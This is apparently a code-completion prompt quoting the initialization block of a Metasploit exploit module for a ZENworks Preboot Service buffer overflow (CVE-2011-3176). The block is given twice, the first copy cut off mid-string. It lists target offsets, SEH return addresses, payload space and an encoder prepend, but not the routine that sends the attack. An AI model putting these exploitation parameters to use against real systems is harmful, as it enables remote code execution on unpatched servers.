You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: zenworks_preboot_op4c_bof.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/novell
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow',
      'Description'    => %q{
          This module exploits a remote buffer overflow in the ZENworks Configuration
        Management. The vulnerability exists in the Preboot service and can be triggered
        by sending a specially crafted packet with the opcode 0x4c
        (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully
        tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server
        2003 SP2 (DEP bypass).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-3176' ],
          [ 'OSVDB', '80231' ],
          [ 'BID', '52659' ],
          [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'Space'=> 994,
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
            {
              'Offset'            => 1100,
              'OffsetBottomStack' => 1148,
              'OffsetRop'         => 4,
              'Ret'               => 0x100012e9 # add esp, 1204 # ret from zenimgweb.dll
            }
          ],
          [ 'Novell ZENw
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow',
      'Description'    => %q{
          This module exploits a remote buffer overflow in the ZENworks Configuration
        Management. The vulnerability exists in the Preboot service and can be triggered
        by sending a specially crafted packet with the opcode 0x4c
        (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully
        tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server
        2003 SP2 (DEP bypass).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-3176' ],
          [ 'OSVDB', '80231' ],
          [ 'BID', '52659' ],
          [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'Space'=> 994,
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
            {
              'Offset'            => 1100,
              'OffsetBottomStack' => 1148,
              'OffsetRop'         => 4,
              'Ret'               => 0x100012e9 # add esp, 1204 # ret from zenimgweb.dll
            }
          ],
          [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
            {
              'Offset'            => 1100,
              'OffsetBottomStack' => 1136,
              'Ret'               => 0x100012e9 # add esp, 0x41c # ret - zenimgweb.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-02-22',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(998)])
  end